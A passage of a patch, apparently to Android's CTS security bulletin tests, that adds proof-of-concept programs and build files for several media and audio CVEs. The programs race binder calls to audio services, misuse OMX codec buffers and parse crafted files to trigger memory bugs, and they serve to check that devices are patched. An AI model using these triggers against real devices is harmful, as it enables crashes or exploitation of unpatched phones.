+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+
+void poc() {
+    int i;
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+    omxExitOnError(err);
+    atexit(exit_handler);
+
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+    int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+    int inBufferCnt = def.nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+
+    sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+    int outMemSize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+
+    sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (i = 0; i < inBufferCnt; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+        sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+                inputBuffers[i].mHidlMemory);
+        memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+    }
+
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (i = 0; i < outBufferCnt; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+    }
+
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+    for (i = 0; i < inBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+
+    for (i = 0; i < outBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+    for (i = 0; i < inBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+
+    for (i = 0; i < outBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+
+    omxUtilsFreeNode();
+    return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+    time_t currentTime = start_timer();
+    while(timer_active(currentTime)) {
+        poc();
+    }
+#endif
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
new file mode 100644
index 0000000..a2a8734
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2017-0837",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+        "libaudioclient",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
new file mode 100644
index 0000000..c1999db0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <media/IAudioPolicyService.h>
+
+using namespace android;
+
+#define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
+#define MAX_NUMBER_OF_THREADS 5
+#define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
+#define SLEEP_TIME_IN_SECONDS 5
+
+struct pocAudioSessionCtxt {
+  sp<IAudioPolicyService> audioService;
+  audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
+  volatile bool startThread;
+};
+
+static void *acquireSoundTriggerSessionThread(void *arg) {
+  int i = 0;
+  pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+  if (!ctxt) {
+    return nullptr;
+  }
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+      audio_io_handle_t ioHandle = 0;
+      audio_devices_t device = AUDIO_DEVICE_NONE;
+      ctxt->audioService->acquireSoundTriggerSession(&(ctxt->audioSession[++i]),
+                                                     &ioHandle, &device);
+      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+        i = 0;
+      }
+    }
+  }
+  return nullptr;
+}
+
+static void *releaseSoundTriggerSessionThread(void *arg) {
+  int i = 0;
+  pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+  if (!ctxt) {
+    return nullptr;
+  }
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+      ctxt->audioService->releaseSoundTriggerSession(ctxt->audioSession[++i]);
+      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+        i = 0;
+      }
+    }
+  }
+  return nullptr;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+public:
+  MyDeathRecipient() {}
+  virtual void binderDied(const wp<IBinder> &who __unused) {
+    exit(EXIT_SUCCESS);
+  }
+};
+
+int main() {
+  pocAudioSessionCtxt ctxt;
+  pthread_t thread[MAX_NUMBER_OF_THREADS];
+  ctxt.startThread = false;
+
+  for (int i = 0; i < MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; ++i) {
+    pthread_create(&thread[i], nullptr, acquireSoundTriggerSessionThread,
+                   &ctxt);
+  }
+
+  for (int i = MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; i < MAX_NUMBER_OF_THREADS;
+       ++i) {
+    pthread_create(&thread[i], nullptr, releaseSoundTriggerSessionThread,
+                   &ctxt);
+  }
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
+  if (!binder) {
+    return EXIT_FAILURE;
+  }
+  ctxt.audioService = interface_cast<IAudioPolicyService>(binder);
+  if (!ctxt.audioService) {
+    return EXIT_FAILURE;
+  }
+
+  sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
+  binder->linkToDeath(deathRecipient);
+  ctxt.startThread = true;
+  for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
+    pthread_join(thread[i], nullptr);
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
index 4263dee..52325db 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0840",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -38,4 +42,3 @@
         "-Werror",
     ],
 }
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
new file mode 100644
index 0000000..a3a00ea
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2017-13180",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            srcs: [
+                ":cts_hostsidetests_securitybulletin_omxutils",
+            ],
+            shared_libs: [
+                "libstagefright",
+                "libbinder",
+                "libmedia_omx",
+                "libutils",
+                "liblog",
+                "libstagefright_foundation",
+                "libcutils",
+                "libhidlbase",
+                "libhidlmemory",
+                "android.hidl.allocator@1.0",
+                "android.hardware.media.omx@1.0",
+            ],
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..33ffdaf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+  buffers->clear();
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  int err = omxUtilsGetParameter(portIndex, &def);
+  omxExitOnError(err);
+
+  for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+    Buffer buffer;
+    buffer.mFlags = 0;
+    bool success;
+    auto transStatus = mAllocator->allocate(
+        def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+          success = s;
+          buffer.mHidlMemory = m;
+        });
+    omxExitOnError(!transStatus.isOk());
+    omxExitOnError(!success);
+    omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+    buffers->push(buffer);
+  }
+  return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+  int i;
+  Vector<Buffer> inputBuffers;
+  Vector<Buffer> outputBuffers;
+  status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+
+  omxExitOnError(err);
+
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+  int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCount = def.nBufferCountActual;
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+  omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+  int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+  for (i = 0; i < inBufferCount; ++i) {
+    inBufferId[i] = inputBuffers[i].mID;
+  }
+
+  allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+  for (i = 0; i < outBufferCnt; ++i) {
+    outBufferId[i] = outputBuffers[i].mID;
+  }
+
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+  OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+  int64_t timeUs = TIMESTAMP_US;
+  omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+  omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+  for (i = 0; i < inBufferCount; ++i) {
+    omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+  }
+
+  for (i = 0; i < outBufferCnt; ++i) {
+    omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+  }
+
+  omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
index a2ac927..c8b45cb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-13232",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp
index 121d5a9..419f4c6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp
@@ -79,7 +79,7 @@
   data.writeInt32(1);
   audio_attributes_t attr;
   memset(&attr, 0xff, sizeof(attr));
-  attr.flags = 0;
+  attr.flags = AUDIO_FLAG_NONE;
   memset(attr.tags, 0x41, AUDIO_ATTRIBUTES_TAGS_MAX_SIZE);
   data.write(&attr, sizeof(attr));
   binder->transact(GET_OUTPUT_FOR_ATTR, data, &reply, 0);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
new file mode 100644
index 0000000..c7b481a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2017-13234",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.c",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+
+    include_dirs: [
+        "external/sonivox/arm-wt-22k/host_src",
+    ],
+
+    shared_libs: [
+        "libsonivox",
+    ],
+
+    cflags: [
+        "-DCHECK_MEMORY_LEAK",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+    return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+    fseek(handle, offset, SEEK_SET);
+    return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+    fseek(handle, 0, SEEK_END);
+    return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+    EAS_HANDLE handle;
+    EAS_FILE file;
+    file.handle = (void*) fopen(filename, "rb");
+    file.readAt = EAS_fread;
+    file.size = EAS_fsize;
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+        enable_selective_overload = ENABLE_NONE;
+        if(file.handle) {
+            fclose(file.handle);
+        }
+        return;
+    }
+    EAS_Prepare(easData, handle);
+    EAS_CloseFile(easData, handle);
+    enable_selective_overload = ENABLE_NONE;
+    if(file.handle) {
+        fclose(file.handle);
+    }
+    return;
+}
+
+int main(int argc, char **argv) {
+    EAS_DATA_HANDLE easData;
+    EAS_RESULT result;
+
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    result = EAS_Init(&easData);
+    if (result != EAS_SUCCESS) {
+        return EXIT_FAILURE;
+    }
+    PlayFile(easData, argv[1]);
+    EAS_Shutdown(easData);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
index 37717a2..f6d2bc8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-13241",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -37,4 +41,3 @@
         "-Werror",
     ],
 }
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
index 5a8d964..09bb12c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-13253",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
index 70dd343..5d59b96 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-13273",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
index f5adc33..35dcbde 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-6262",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
index df215ef..45ae45e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9344",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
index 7b04ffb..9e49090 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9424",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
new file mode 100644
index 0000000..16bfc36
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2018-9428",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libmedia",
+        "libutils",
+        "libbinder",
+        "libaaudio_internal",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..cf21dbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "binding/IAAudioService.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+  aaudio_handle_t aaudioHandle;
+  sp<IAAudioService> aas;
+} thread_args;
+
+static void *closeStreamThread(void *arg) {
+  thread_args *threadArgs = (thread_args *)arg;
+  if (threadArgs) {
+    if (threadArgs->aas) {
+      threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+    }
+  }
+  return nullptr;
+}
+
+static void *startStreamThread(void *arg) {
+  thread_args *threadArgs = (thread_args *)arg;
+  if (threadArgs) {
+    if (threadArgs->aas) {
+      threadArgs->aas->startStream(threadArgs->aaudioHandle);
+    }
+  }
+  return nullptr;
+}
+
+int main() {
+  thread_args targs;
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.aaudio"));
+  targs.aas = interface_cast<IAAudioService>(binder);
+  if (!(targs.aas)) {
+    return EXIT_FAILURE;
+  }
+  aaudio::AAudioStreamRequest request;
+  request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+  request.getConfiguration().setDeviceId(0);
+  request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    pthread_t pt[2];
+
+    aaudio::AAudioStreamConfiguration configurationOutput;
+    targs.aaudioHandle = targs.aas->openStream(request, configurationOutput);
+    pthread_create(&pt[0], nullptr, closeStreamThread,
+                   &targs); /* close stream */
+    pthread_create(&pt[1], nullptr, startStreamThread,
+                   &targs); /* start stream */
+
+    sleep(5);
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
new file mode 100644
index 0000000..fa09b34
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2018-9466-CVE-2017-9047",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc-CVE-2017-9047.c",
+    ],
+    include_dirs: [
+        "external/libxml2",
+    ],
+    shared_libs: [
+        "libxml2",
+    ],
+}
+
+cc_test {
+    name: "CVE-2018-9466-CVE-2017-9048",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc-CVE-2017-9048.c",
+    ],
+    include_dirs: [
+        "external/libxml2",
+    ],
+    shared_libs: [
+        "libxml2",
+    ],
+}
+
+cc_test {
+    name: "CVE-2018-9466-CVE-2017-9049",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc-CVE-2017-9049.c",
